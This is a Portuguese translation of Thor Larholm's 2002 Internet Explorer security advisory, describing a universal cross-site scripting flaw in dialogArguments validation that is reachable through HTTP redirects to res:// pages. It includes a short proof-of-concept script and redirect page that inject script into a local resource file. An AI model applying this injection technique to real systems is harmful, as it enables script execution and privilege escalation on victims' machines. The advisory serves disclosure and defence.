Ruindows Cross Site Scripting (CSS) escancara o seu sistema
  + do IE da Micro$oft: IE permite CROSS SITE SCRIPTING
  Publicação: Thor Larholm security advisory TL#002
Assunto: IE allows universal Cross Site Scripting.
Data: Mar 18 2002
Autor: Thor Larholm
Site: http://www.pivx.com/larholm/adv/TL002/
Sofware: Qualquer aplicativo que hospede o controle WebBrowser (IE6+). Alguns exemplos são o MS Internet Explorer, MS Outlook, MS Outlook Express...
Ambiente: Windows (todos)
Classificação: Risco Alto
Impacto: Elevar privilégios, sequestro do cliente do MSN Messenger, rodar script na zona do Meu Computador (My Computer), execução de comando arbitrária, etc.
Patch: Patch MS02-015 incompleto !
Notificação: Microsoft foi notificada em 18.03.02
Solução: Diversas de acordo com o texto abaixo. Não deixe de ver o aviso da GreyMagic que mostra o exploit ampliado!
    o' \,=./ `o
   (o o)
-----ooO--(_)--Ooo-----
INTRODUÇÃO

Dentro da sua extensa funcionalidade, o IE utiliza um conjunto de métodos para apresentar janelas de diálogo. Os métodos showModalDialog e showModelessDialog podem transferir objetos da página de origem para a página que está sendo apresentada dentro do diálogo através da propriedade dialogArguments. (Para todas as referências do DHTML veja Referências.)

DESCRIÇÃO

A propriedade dialogArguments tenta impedir a interação entre páginas remotas comparando a localização da página de origem e da página de diálogo.
Quando uma janela de diálogo (por exemplo, res://shdoclc.dll/policyerror.htm) de outro protocolo, porta ou domínio (por exemplo, http://jscript.dk) é aberta, o código de validação no IE assegurará que nenhum objeto seja transferido de forma que nenhuma interação seja possível.
Quando ambas as páginas estão no mesmo protocolo, porta e domínio, o código de validação permitirá a interação.
Infelizmente o código de validação checa apenas a URL original ao invés da URL final, fazendo com que seja possível disparar um redirecionamento de HTTP do site original para a página de diálogo desejada e, desta forma, obter a interação.
É preciso salientar que isto de forma alguma é limitado pelo protocolo RES://. A propriedade dialogArguments defeituosa também permite a interação entre domínios diferentes (por exemplo, YAHOO.COM para MICROSOFT.COM), protocolos diferentes (HTTP para HTTPS, HTTP para FILE, etc.) e portas diferentes (porta 80 para a porta 21, porta 80 para a porta 25, etc.).
A título de demonstração, vamos dar uma olhada em shdoclc.dll, a qual contém diversos recursos da categoria HTML, denominados POLICYERROR.HTM, POLICYLOOKING.HTM, POLICYNONE.HTM e POLICYSYNTAXERROR.HTM. Estes arquivos contém o seguinte código de script:

      var site = window.parent.dialogArguments.url;
      function printSite()
      {
           document.write( site);
      }

  Exploit
<script>
var sCode = '<'+'script>alert("This is running from: " + location.href);top.close()</'+'script>';
window.showModalDialog("redirect.asp", {url:sCode})
</script>

Redirect.asp contém:
<%@Language=Jscript%><%
Response.Redirect("res://shdoclc.dll/policyerror.htm");
%>

SOLUÇÃO PARA A MS

Corrigir a rotina de validação de dialogArguments.
Incluir a validação de entrada (input) em arquivos de recursos.
Também corrigir o patch MS02-015, que está incompleto, para assegurar que esta vulnerabilidade específica na execução de comando não ocorra novamente quando da próxima publicação de CSS.

SOLUÇÃO PARA O USUÁRIO
Desabilitar o script.

VERSÕES TESTADAS

IE6sp1 Win2000 SP2, com todos os patches.
IE6sp1 Windows 98, com todos os patches.
IE6sp1 Windows 98 SE, com todos os patches.

STATUS DO FORNECEDOR

A Microsoft foi notificada em 18 de Março de 2002 e foi capaz de reproduzir consistentemente esta publicação. Atualmente (16 de Abril de 2002) estão investigando se devem incluir isto num patch cumulativo futuro.

  Demonstração
Nota NumaBoa: Se você está com o IE 6.x instalado, verifique se seu sistema está vulnerável. Se tiver a versão 5.x prepare-se: vai dar pau! As demonstrações são do site do Thor na pivx.

Exemplos estáticos simples - Código corrigido de demonstração
Exemplo avançado - Input de código de script arbitrário
Sequestrando o MSN messanger - A versão atualizada de um boletim prévio
Executando comandos arbitrários - Como o CodeBase não foi corrigido

   DECLARAÇÃO
O site NumaBoa apenas traduziu e divulgou esta informação pública, portanto, não é responsável pelo mau uso das informações contidas neste alerta. As opiniões expressas são de Thor Larholm. Em hipótese alguma o autor ou o responsável pelo site NumaBoa poderão ser responsabilizados por qualquer dano surgido ou provocado que tenha conexão com o uso ou com a divulgação deste alerta. Qualquer uso desta informação será por conta e risco do usuário.

   Link Original
 
http://www.pivx.com/larholm/adv/TL002/default.htm


| AAAA | Página Inicial | Mapa do Site | Novidades | Busca | Indique esta página | Mestre da Teia | Voltar |
| Localizador || @ Info NumaBoa > H4ck3Rs > Falhas da micro$oft > Cross scripting no IE
Créditos: Thor Larholm

webdesign sobMedida by vickiSoft - /informatica/windows/crossScript1.php (25.07.02) versão 1.03 de 12.10.04
Licença Creative Commons 1998-2006 Aldeia NumaBoa
Exceto onde especificamente declarado, todo material deste site é disponibilizado de acordo com a Licença Creative Commons.